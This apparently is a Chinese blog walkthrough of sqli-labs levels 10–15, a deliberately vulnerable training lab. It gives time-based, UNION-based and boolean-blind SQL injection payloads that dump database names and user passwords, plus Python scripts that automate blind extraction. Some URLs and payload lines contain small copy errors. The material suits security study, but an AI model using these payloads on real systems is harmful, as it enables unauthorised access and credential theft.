QQ love member No. 3 seed player

know it then do it && APT086&QQ愛安全实验室成员

sqli-labs-第10关->第15关

30 Aug 2019 » security

[TOC]

PS:最近总是不知道学啥了所以复习下sql注入,总结下笔记。

接着上次的继续-传送门

sqli-labs 第10关

观察源代码发现闭合双引号即可-如下:

http://192.168.1.101/sqli-labs/Less-10/?id=2" and sleep(5)%23

上面语句成功延时5秒判断存在时间盲注

http://192.168.1.101/sqli-labs/Less-10/?id=2" and if(1=2,sleep(5),1)%23

上面利用if语句来判断条件表达式不成立,所以没有延时,确定存在基于时间的sql注入

http://192.168.1.101/sqli-labs/Less-10/?id=2?id=2"  and If(ord(substr(database(),1,1))=115,sleep(5),1)%23

根据payload写出python脚本

思路:

数据库的长度一般不会超过20个字符所有利用range(21) 循环出 1-20 ,这里因为是靶机我们知道数据库全部为字母(ascii 码值 a-z:97-122)所以利用range(97,123 )循环出97-122 ,将他们进行循环遍历,这里用到 timeout(3) 来进行异常处理,最大处理时间为3秒。

判断条件成立就会延时5秒再回显结果,而接收请求最大秒数我们定义了3秒,所以会爆请求超时的异常。


import requests

for j in range(21):

    for i in range(97,123):

        try:
            re = requests.request("get",url="http://192.168.1.101/sqli-labs/Less-10/?id=2?id=1%22%20and%20if(ord(substr(database(),{},1))={},sleep(5),1)%23".format(j,i),timeout=3)
            continue

        except:

            print(chr(i))

RT:

sqli-labs-10

成功输出当前数据库的名称。

sqli-labs 第11关

查看源代码RT:

sqli-labs-11

order by 判断字段 RT:

POST:
username=a' order by 3#     
POST:
username=a' union select 1,2#

sqli-labs-11-1

查看当前用户可操作的所有数据库 RT:

POST:
username=a' union select 1,group_concat(schema_name) from information_schema.schemata#

sqli-labs-11-2

当前数据库为 security 所以查看下 security 数据库下面的表 RT :

POST:
username=a' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security'#

sqli-labs-11-3

知道了表名接下来就是字段了 RT:

POST:
username=a' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'#

sqli-labs-11-4

字段直接查询即可,得到所有的用户名密码,如下:

POST:
username=a' union select 1,group_concat(username,password) from users#

sqli-labs 第12关

观察源代码 RT :

sqli-labs-12

闭合前面的符号达到sql注入 RT:

POST:
username=1") order by 4#

sqli-labs-12-1

接下来和上一关是一样的,参考 sqli-labs 第11关。

1") union select 1,group_concat(schema_name) from information_schema.schemata#
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
1") union select 1,group_concat(username,password) from users#

sqli-labs 第13关

还是看了下源代码 RT:

sqli-labs-13

闭合前面的语句执行我们想要的sql语句 RT :

sqli-labs-13-1

接下来还是那么的顺利,参考 sqli-labs 第12关

1') union select 1,group_concat(schema_name) from information_schema.schemata#
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
1') union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
1') union select 1,group_concat(username,password) from users#

sqli-labs 第14关

查看源代码 RT:

sqli-labs-14

闭合执行sql语句(判断存在几个字段)

sqli-labs-14-1

接下来一切顺理成章

1" union select 1,group_concat(schema_name) from information_schema.schemata#
1" union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
1" union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
1" union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
1" union select 1,group_concat(username,password) from users#

sqli-labs 第15关

写完就回去了,还是看源代码 RT:

sqli-labs-15

sqli-labs-15-1

执行sql语句 RT:

1' or 1=1#

sqli-labs-15-2

猜测数据库的长度为8位 RT:

1' or (length(database()))=8#

调试中 RT:

sqli-labs-15-debug

输出脚本 RT

import requests

sql_url = "http://192.168.1.101/sqli-labs/Less-15/"

for j in range(9): # 前面知道了数据库长度为8位

    for i in range(97, 123):  # ascii 码值 a-z : 97-122

        re = requests.request("POST",url=sql_url,data={"uname":"1' or ord(mid((select database()),{},1))={}#".format(j,i),"passwd":"1"})

        if "flag.jpg" in re.text:

            print(chr(i))

sqli-labs-15-3

总结

持续更新先记下

万变不离其宗只要有数据库发生互交的地方不管输入点在哪,只要没有进行绝对的交验就会发生SQL注入,手指以麻痹,回家吃手抓饼,告辞。


「 转载请声明博客地址及APT086&QQ愛安全实验室 」